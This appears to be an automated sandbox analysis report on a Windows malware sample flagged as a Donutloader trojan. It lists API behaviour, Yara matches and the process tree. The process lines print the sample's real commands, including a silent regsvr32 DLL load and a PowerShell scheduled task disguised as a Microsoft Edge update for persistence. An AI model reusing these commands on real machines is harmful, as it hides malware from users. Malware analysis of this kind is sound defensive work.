Source: unknown	Network traffic detected: HTTP traffic on port 53351 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53353
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53242
Source: unknown	Network traffic detected: HTTP traffic on port 53340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53340
Source: unknown	Network traffic detected: HTTP traffic on port 53058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53209 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: 7.2.regsvr32.exe.4f812d5.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000007.00000002.2917895885.000000000429F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C874C20 GetProcessTimes,GetSystemTimes,GetProcessIoCounters,OpenProcessToken,GetTokenInformation,GetProcessHeap,HeapAlloc,GetTokenInformation,CloseHandle,NtQueryInformationProcess,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,memcpy,ReadProcessMemory,ReadProcessMemory,VirtualQueryEx,memset,GetModuleFileNameExW,K32GetModuleFileNameExW,	7_2_6C874C20
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C876890 NtQueryInformationProcess,NtQueryInformationProcess,	7_2_6C876890
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C856300 memset,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,AddVectoredExceptionHandler,RtlAddVectoredExceptionHandler,NtQueryInformationProcess,NtQuerySystemInformation,NtOpenThread,NtGetContextThread,NtTraceControl,NtSetContextThread,NtClose,	7_2_6C856300
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C8F0790 NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,GetConsoleMode,GetFileType,memset,GetFileInformationByHandleEx,	7_2_6C8F0790
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04FA189C NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,	7_2_04FA189C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C874C20 GetProcessTimes,GetSystemTimes,GetProcessIoCounters,OpenProcessToken,GetTokenInformation,GetProcessHeap,HeapAlloc,GetTokenInformation,CloseHandle,NtQueryInformationProcess,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,memcpy,ReadProcessMemory,ReadProcessMemory,VirtualQueryEx,memset,GetModuleFileNameExW,K32GetModuleFileNameExW,	14_2_6C874C20
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C876890 NtQueryInformationProcess,NtQueryInformationProcess,	14_2_6C876890
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C8F0790 NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,GetConsoleMode,GetFileType,memset,GetFileInformationByHandleEx,	14_2_6C8F0790
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C856300 memset,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,AddVectoredExceptionHandler,NtQueryInformationProcess,NtQuerySystemInformation,NtOpenThread,NtGetContextThread,NtSetContextThread,NtClose,	14_2_6C856300

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C8F3C94	7_2_6C8F3C94
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C855C30	7_2_6C855C30
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C8F26D0	7_2_6C8F26D0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C8543E0	7_2_6C8543E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C856300	7_2_6C856300
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C89DCB0	7_2_6C89DCB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C85ECF0	7_2_6C85ECF0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C872D80	7_2_6C872D80
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C926DC0	7_2_6C926DC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C896D50	7_2_6C896D50
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C880E80	7_2_6C880E80
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C89EE00	7_2_6C89EE00
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C934E20	7_2_6C934E20
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C8A7F80	7_2_6C8A7F80
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C8C9FC0	7_2_6C8C9FC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C85EFD0	7_2_6C85EFD0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C8EC8C0	7_2_6C8EC8C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C9328C0	7_2_6C9328C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C8808D0	7_2_6C8808D0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C8598E0	7_2_6C8598E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C8E983E	7_2_6C8E983E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C896830	7_2_6C896830
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C87E870	7_2_6C87E870
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C942994	7_2_6C942994
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C9279B0	7_2_6C9279B0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C9469D0	7_2_6C9469D0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C944A90	7_2_6C944A90
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C871AF0	7_2_6C871AF0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C873A40	7_2_6C873A40
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C85EA60	7_2_6C85EA60
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C873410	7_2_6C873410
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C8A9540	7_2_6C8A9540
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C92D6E0	7_2_6C92D6E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C85E7C0	7_2_6C85E7C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C872750	7_2_6C872750
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C921760	7_2_6C921760
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C93C0A0	7_2_6C93C0A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C895180	7_2_6C895180
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C929151	7_2_6C929151
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C872150	7_2_6C872150
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C8F9170	7_2_6C8F9170
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C942280	7_2_6C942280
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C860250	7_2_6C860250
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C86D3A0	7_2_6C86D3A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C92E330	7_2_6C92E330
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C93A330	7_2_6C93A330
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C92D360	7_2_6C92D360
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_026411FF	7_2_026411FF
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_0263B6A6	7_2_0263B6A6
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_02641750	7_2_02641750
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_026324B0	7_2_026324B0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_02640CAE	7_2_02640CAE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_02642D61	7_2_02642D61
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04FA189C	7_2_04FA189C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F93436	7_2_04F93436
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F9E5F0	7_2_04F9E5F0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F9B637	7_2_04F9B637
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F9F0A4	7_2_04F9F0A4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F9E1C0	7_2_04F9E1C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F91383	7_2_04F91383
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F9DDE4	7_2_04F9DDE4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F8BD7B	7_2_04F8BD7B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F91E25	7_2_04F91E25
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F9CF08	7_2_04F9CF08
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F918D4	7_2_04F918D4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F82B85	7_2_04F82B85
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_07680560	8_2_07680560
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0273B628	10_2_0273B628
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0273B618	10_2_0273B618
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_02731D0F	10_2_02731D0F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08093EA0	10_2_08093EA0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C8F3C94	14_2_6C8F3C94
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C8F26D0	14_2_6C8F26D0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C8543E0	14_2_6C8543E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C89DCB0	14_2_6C89DCB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C85ECF0	14_2_6C85ECF0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C855C30	14_2_6C855C30
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C872D80	14_2_6C872D80
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C926DC0	14_2_6C926DC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C880E80	14_2_6C880E80
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C89EE00	14_2_6C89EE00
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C934E20	14_2_6C934E20
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C8A7F80	14_2_6C8A7F80
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C8C9FC0	14_2_6C8C9FC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C85EFD0	14_2_6C85EFD0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C8EC8C0	14_2_6C8EC8C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C9328C0	14_2_6C9328C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C8808D0	14_2_6C8808D0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C8598E0	14_2_6C8598E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C8E983E	14_2_6C8E983E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C87E870	14_2_6C87E870
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C942994	14_2_6C942994
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C9279B0	14_2_6C9279B0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C9469D0	14_2_6C9469D0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C944A90	14_2_6C944A90
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C871AF0	14_2_6C871AF0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C873A40	14_2_6C873A40
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C85EA60	14_2_6C85EA60
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C873410	14_2_6C873410
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C8A9540	14_2_6C8A9540
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C92D6E0	14_2_6C92D6E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C85E7C0	14_2_6C85E7C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C872750	14_2_6C872750
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C921760	14_2_6C921760
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C93C0A0	14_2_6C93C0A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C929151	14_2_6C929151
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C872150	14_2_6C872150
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C8F9170	14_2_6C8F9170
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C942280	14_2_6C942280
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C860250	14_2_6C860250
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C86D3A0	14_2_6C86D3A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C856300	14_2_6C856300
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C92E330	14_2_6C92E330
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C93A330	14_2_6C93A330
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C92D360	14_2_6C92D360

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 6C92F760 appears 47 times
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 6C930400 appears 949 times
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 6C92C280 appears 146 times
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 6C92C600 appears 94 times
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 6C92BDF0 appears 110 times

Source: eXIHsSYhOX.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: eXIHsSYhOX.tmp.5.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-L5KBT.tmp.6.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: is-L5KBT.tmp.6.dr	Static PE information: Number of sections : 11 > 10
Source: eXIHsSYhOX.exe	Static PE information: Number of sections : 11 > 10
Source: eXIHsSYhOX.tmp.5.dr	Static PE information: Number of sections : 11 > 10
Source: eXIHsSYhOX.tmp.0.dr	Static PE information: Number of sections : 11 > 10

Source: eXIHsSYhOX.exe, 00000000.00000003.1660219416.00000000035DF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs eXIHsSYhOX.exe
Source: eXIHsSYhOX.exe, 00000000.00000000.1658476171.00000000007A9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs eXIHsSYhOX.exe
Source: eXIHsSYhOX.exe, 00000000.00000003.1660568722.000000007F3AB000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs eXIHsSYhOX.exe
Source: eXIHsSYhOX.exe	Binary or memory string: OriginalFileName vs eXIHsSYhOX.exe

Source: eXIHsSYhOX.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 7.2.regsvr32.exe.4f812d5.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000007.00000002.2917895885.000000000429F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.evad.winEXE@26/22@1/2

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 7_2_6C86FCE0 memset,FindFirstVolumeW,memcpy,FindNextVolumeW,memcpy,FindVolumeClose,GetDiskFreeSpaceExW,

7_2_6C86FCE0

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 7_2_6C861B10 CoCreateInstance,

7_2_6C861B10

Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp

File created: C:\Users\user\AppData\Local\unins000.dat

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8128:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7532:120:WilError_03
Source: C:\Windows\SysWOW64\regsvr32.exe	Mutant created: \Sessions\1\BaseNamedObjects\MUTEX

Source: C:\Users\user\Desktop\eXIHsSYhOX.exe

File created: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp

Jump to behavior

Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\eXIHsSYhOX.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: eXIHsSYhOX.exe	Virustotal: Detection: 52%
Source: eXIHsSYhOX.exe	ReversingLabs: Detection: 44%

Source: eXIHsSYhOX.exe

String found in binary or memory: /LOADINF="filename"

Source: C:\Users\user\Desktop\eXIHsSYhOX.exe

File read: C:\Users\user\Desktop\eXIHsSYhOX.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\eXIHsSYhOX.exe "C:\Users\user\Desktop\eXIHsSYhOX.exe"
Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	Process created: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp "C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp" /SL5="$2048C,1548946,795136,C:\Users\user\Desktop\eXIHsSYhOX.exe"
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C timeout /T 3 & "C:\Users\user\Desktop\eXIHsSYhOX.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Desktop\eXIHsSYhOX.exe "C:\Users\user\Desktop\eXIHsSYhOX.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	Process created: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp "C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp" /SL5="$304E8,1548946,795136,C:\Users\user\Desktop\eXIHsSYhOX.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\BurlySparrow.dll"
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{2F534156-472A-43D2-9350-94580B483BA3}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.EXE /S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	Process created: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp "C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp" /SL5="$2048C,1548946,795136,C:\Users\user\Desktop\eXIHsSYhOX.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C timeout /T 3 & "C:\Users\user\Desktop\eXIHsSYhOX.exe" /VERYSILENT /SUPPRESSMSGBOXES	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Desktop\eXIHsSYhOX.exe "C:\Users\user\Desktop\eXIHsSYhOX.exe" /VERYSILENT /SUPPRESSMSGBOXES	Jump to behavior
Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	Process created: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp "C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp" /SL5="$304E8,1548946,795136,C:\Users\user\Desktop\eXIHsSYhOX.exe" /VERYSILENT /SUPPRESSMSGBOXES	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\BurlySparrow.dll"	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }"	Jump to behavior
